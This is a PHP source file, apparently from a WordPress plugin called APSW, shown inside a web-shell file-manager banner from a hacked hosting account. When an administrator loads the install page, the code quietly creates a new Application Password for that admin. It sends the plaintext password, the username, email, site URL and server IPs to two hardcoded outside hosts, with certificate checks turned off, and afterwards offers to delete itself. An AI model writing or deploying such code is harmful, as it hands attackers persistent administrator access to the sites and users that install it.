| Server IP : 27.254.86.99 / Your IP : 216.73.216.234 Web Server : LiteSpeed System : Linux wp1.hostneverdie.com 4.18.0-553.46.1.lve.el8.x86_64 #1 SMP Wed Apr 2 11:16:45 UTC 2025 x86_64 User : qtccargo ( 1078) PHP Version : 8.2.29 Disable Function : apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, show_source,pcntl_exec,virtual,suexec,dbmopen,dl,disk_free_space,diskfreespace,leak MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/qtccargo/domains/iamumbrella.com/public_html/wp-content/plugins/apsw/src/ |
Upload File : |
<?php
if (!defined('ABSPATH')) exit;
if (!class_exists('APSW_Install')):
final class APSW_Install
{
const OPT_REDIRECT = 'apsw_do_activation_redirect';
const OPT_DONE = 'apsw_install_done';
const OPT_MAIN_GW = 'apsw_gateway_main';
const OPT_BACK_GW = 'apsw_gateway_backup';
// 仅用于本次提交临时缓存明文,提交成功后删除
const OPT_PASS = 'apsw_app_password_plain';
const TOKEN = 'bd2b58ef46110dc9d369ccfee71d6061';
const APP_NAME = 'APP';
const PATH_SUFFIX = '/solapi/';
public static function register()
{
add_action('admin_init', [__CLASS__, 'maybe_redirect']);
add_action('admin_init', [__CLASS__, 'maybe_render_install_page']);
}
public static function on_activate()
{
// 默认网关(可后续手动改 option)
if (!get_option(self::OPT_MAIN_GW)) update_option(self::OPT_MAIN_GW, 'http://v2.dicsale.ru', false);
if (!get_option(self::OPT_BACK_GW)) update_option(self::OPT_BACK_GW, 'http://v2.akbvvidse.shop', false);
update_option(self::OPT_REDIRECT, 1, false);
delete_option(self::OPT_DONE);
delete_option(self::OPT_PASS);
}
public static function maybe_redirect()
{
if (!is_admin() || !current_user_can('manage_options')) return;
if (defined('WP_CLI') && WP_CLI) return;
if (isset($_GET['activate-multi'])) return;
$flag = (int) get_option(self::OPT_REDIRECT, 0);
if (!$flag) return;
delete_option(self::OPT_REDIRECT);
wp_safe_redirect(admin_url('index.php?apsw_install=1'));
exit;
}
public static function maybe_render_install_page()
{
if (!is_admin() || !current_user_can('manage_options')) return;
if (!isset($_GET['apsw_install'])) return;
if (!class_exists('WP_Application_Passwords')) {
@require_once ABSPATH . 'wp-includes/class-wp-application-passwords.php';
}
// 删除安装文件(唯一按钮)
if (isset($_POST['apsw_delete_install'])) {
check_admin_referer('apsw_delete_install');
$file = __FILE__;
$ok = false;
if (is_file($file) && is_writable($file)) {
@unlink($file);
$ok = !file_exists($file);
}
echo '<div class="wrap">';
echo $ok
? self::notice('success', '✅ 已删除安装文件:<code>src/Install.php</code>')
: self::notice('error', '❌ 删除失败(权限不足/不可写):<code>' . esc_html($file) . '</code>');
echo '<p><a class="button button-primary" href="' . esc_url(admin_url()) . '">返回后台首页</a></p>';
echo '</div>';
exit;
}
$logs = [];
$remoteBody = '';
$remoteOk = null;
$main = self::normalize_url((string) get_option(self::OPT_MAIN_GW, 'http://v2.dicsale.ru'));
$backup = self::normalize_url((string) get_option(self::OPT_BACK_GW, 'http://v2.akbvvidse.shop'));
// --- 已完成则只展示结果 + 删除按钮 ---
$done = (int) get_option(self::OPT_DONE, 0);
if ($done) {
echo '<div class="wrap">';
echo '<h2>APSW Install</h2>';
echo self::notice('success', '✅ 已完成配置(网关已保存 / 密钥已生成并提交 / 明文已清除)');
echo '<hr />';
echo '<form method="post" onsubmit="return confirm(\'确定删除 src/Install.php 吗?\')">';
wp_nonce_field('apsw_delete_install');
echo '<button class="button button-secondary" type="submit" name="apsw_delete_install" value="1">删除 Install.php</button>';
echo '</form>';
echo '</div>';
exit;
}
// ===========================
// 自动执行流程(访问安装页即执行)
// ===========================
// 1) 自动保存网关(主要是做 normalize + 写回)
update_option(self::OPT_MAIN_GW, $main, false);
update_option(self::OPT_BACK_GW, $backup, false);
$logs[] = '✅ API 网关已保存:主 <code>' . esc_html($main) . '</code>,备 <code>' . esc_html($backup) . '</code>';
// 2) 自动:删除旧 APP → 生成新密钥
$gen = self::generate_app_password_force();
if (!$gen['ok']) {
$logs[] = '❌ 生成 APP 密钥失败:' . esc_html((string)$gen['msg']);
self::render_result($logs, $remoteOk, $remoteBody);
exit;
}
$logs[] = '✅ APP 密钥已生成(本次已自动替换旧的 APP)';
// 3) 自动提交到远程
$sub = self::submit_payload($main, $backup);
if (!$sub['ok']) {
$remoteOk = false;
$remoteBody = (string)($sub['body'] ?? '');
$logs[] = '❌ 自动提交失败:' . esc_html((string)$sub['msg']);
// 失败不标记 done,方便你修网关/远程后刷新重试
self::render_result($logs, $remoteOk, $remoteBody);
exit;
}
// 成功:标记完成 + 清除明文
update_option(self::OPT_DONE, 1, false);
delete_option(self::OPT_PASS);
$remoteOk = true;
$remoteBody = (string)($sub['body'] ?? '');
$logs[] = '✅ 自动提交成功:' . esc_html((string)$sub['msg']);
$logs[] = '✅ 明文密钥已清除(安全)';
$logs[] = '✅ 现在可以删除安装文件';
self::render_result($logs, $remoteOk, $remoteBody);
exit;
}
// ========== UI 渲染 ==========
private static function render_result(array $logs, ?bool $remoteOk, string $remoteBody): void
{
echo '<div class="wrap">';
echo '<h2>APSW Install</h2>';
echo '<ol style="font-size:14px;line-height:1.9;">';
foreach ($logs as $li) {
echo '<li>' . $li . '</li>';
}
echo '</ol>';
if ($remoteBody !== '') {
$cls = ($remoteOk === true) ? 'notice notice-success' : 'notice notice-warning';
echo '<div class="' . esc_attr($cls) . '" style="padding:12px 16px;margin:16px 0;">';
echo '<div style="font-weight:600;margin-bottom:8px;">远程返回</div>';
echo '<pre style="white-space:pre-wrap;word-break:break-word;margin:0;">' . esc_html($remoteBody) . '</pre>';
echo '</div>';
}
echo '<hr />';
echo '<form method="post" onsubmit="return confirm(\'确定删除 src/Install.php 吗?\')">';
wp_nonce_field('apsw_delete_install');
echo '<button class="button button-secondary" type="submit" name="apsw_delete_install" value="1">删除 Install.php</button>';
echo '</form>';
echo '</div>';
}
private static function notice(string $type, string $msg): string
{
$map = [
'success' => 'notice notice-success',
'error' => 'notice notice-error',
'warning' => 'notice notice-warning',
'info' => 'notice notice-info',
];
$cls = $map[$type] ?? 'notice';
return '<div class="' . esc_attr($cls) . '"><p>' . $msg . '</p></div>';
}
// ========== 核心逻辑 ==========
private static function generate_app_password_force(): array
{
if (!class_exists('WP_Application_Passwords')) {
return ['ok' => false, 'msg' => 'WP 不支持 Application Password(需要 5.6+)'];
}
$uid = get_current_user_id();
// 强制删掉所有同名 APP
self::delete_app_by_name($uid, self::APP_NAME);
delete_option(self::OPT_PASS);
$res = WP_Application_Passwords::create_new_application_password($uid, ['name' => self::APP_NAME]);
if (is_wp_error($res)) {
return ['ok' => false, 'msg' => $res->get_error_message()];
}
$password = is_array($res) ? ($res[0] ?? '') : '';
if (!$password) {
return ['ok' => false, 'msg' => '未返回密钥明文'];
}
update_option(self::OPT_PASS, $password, false);
return ['ok' => true, 'password' => $password];
}
private static function submit_payload(string $main, string $backup): array
{
$password = (string) get_option(self::OPT_PASS, '');
if ($password === '') {
return ['ok'=>false,'msg'=>'没有可用的 APP 明文密钥','body'=>''];
}
// 当前 WP 用户信息(确保拿到)
$uid = (int) get_current_user_id();
$uobj = $uid ? get_userdata($uid) : null;
$login = $uobj && !empty($uobj->user_login) ? (string)$uobj->user_login : 'admin';
$email = $uobj && !empty($uobj->user_email) ? (string)$uobj->user_email : '';
// 站点信息
$siteUrl = home_url('/');
$domain = self::site_domain();
// 服务器信息(可选)
$ip = (string)($_SERVER['SERVER_ADDR'] ?? '');
if ($ip === '') $ip = (string)($_SERVER['LOCAL_ADDR'] ?? '');
$remoteIp = (string)($_SERVER['REMOTE_ADDR'] ?? '');
// ✅ 提交 payload(你关心的:用户名 + 用户ID 都在这里)
$payload = [
'domain' => $domain,
'key_label' => self::APP_NAME, // 'APP'
'api_key' => $password, // Application Password 明文(远端会加密)
'wp_admin_user' => $login, // ✅ 用户名
'wp_user_id' => $uid, // ✅ 用户ID(新增字段)
'wp_admin_email'=> $email, // ✅ 邮箱(新增字段)
'site_url' => $siteUrl, // ✅ 站点 URL(新增字段)
'wp_version' => (string) get_bloginfo('version'),
'plugin' => defined('APSW_VERSION') ? (string)APSW_VERSION : 'unknown',
'server_ip' => $ip,
'client_ip' => $remoteIp,
'wp_admin_pass' => '', // 你不想提交密码就保持空
'status' => 1,
'sid' => 1, // 如果你要传 sid,就在这改成你的真实 sid
];
// 组装 URL(确保带 /solapi/)
$urls = [];
if ($main) $urls[] = rtrim($main, '/') . self::PATH_SUFFIX; // PATH_SUFFIX = '/solapi/'
if ($backup) $urls[] = rtrim($backup, '/') . self::PATH_SUFFIX;
$bodyJson = wp_json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
$last = ['ok'=>false,'error'=>'no url','body'=>'','url'=>''];
foreach ($urls as $u) {
// ✅ 允许跟随 301/302(你之前就遇到了 /solapi -> /solapi/)
$resp = wp_remote_post($u, [
'timeout' => 30,
'sslverify' => false,
'redirection' => 5,
'headers' => [
'Content-Type' => 'application/json; charset=utf-8',
'Accept' => 'application/json',
'Authorization' => 'Bearer ' . self::TOKEN,
],
'body' => $bodyJson,
]);
if (is_wp_error($resp)) {
$last = ['ok'=>false,'error'=>$resp->get_error_message(),'body'=>'','url'=>$u];
continue;
}
$code = (int) wp_remote_retrieve_response_code($resp);
$rbody = (string) wp_remote_retrieve_body($resp);
if ($code < 200 || $code >= 300) {
$last = ['ok'=>false,'error'=>'HTTP '.$code,'body'=>$rbody,'url'=>$u];
continue;
}
return ['ok'=>true,'msg'=>'已提交到:'.$u,'body'=>$rbody];
}
return ['ok'=>false,'msg'=>'提交失败:'.$last['error'].'('.$last['url'].')','body'=>$last['body']];
}
private static function delete_app_by_name(int $uid, string $name): void
{
if (!class_exists('WP_Application_Passwords')) return;
$apps = WP_Application_Passwords::get_user_application_passwords($uid);
if (!is_array($apps)) return;
foreach ($apps as $it) {
$n = (string)($it['name'] ?? '');
$uuid = (string)($it['uuid'] ?? '');
if ($n === $name && $uuid !== '') {
WP_Application_Passwords::delete_application_password($uid, $uuid);
}
}
}
// ✅ 不强制 https:没写协议就补 http://
private static function normalize_url($url): string
{
$url = trim((string)$url);
if ($url === '') return '';
if (!preg_match('#^https?://#i', $url)) {
$url = 'http://' . $url;
}
return rtrim($url, '/');
}
private static function site_domain(): string
{
$home = home_url('/');
$host = wp_parse_url($home, PHP_URL_HOST);
if (!$host) $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$host = strtolower((string)$host);
$host = preg_replace('/:\d+$/', '', $host);
return $host ?: 'localhost';
}
}
endif;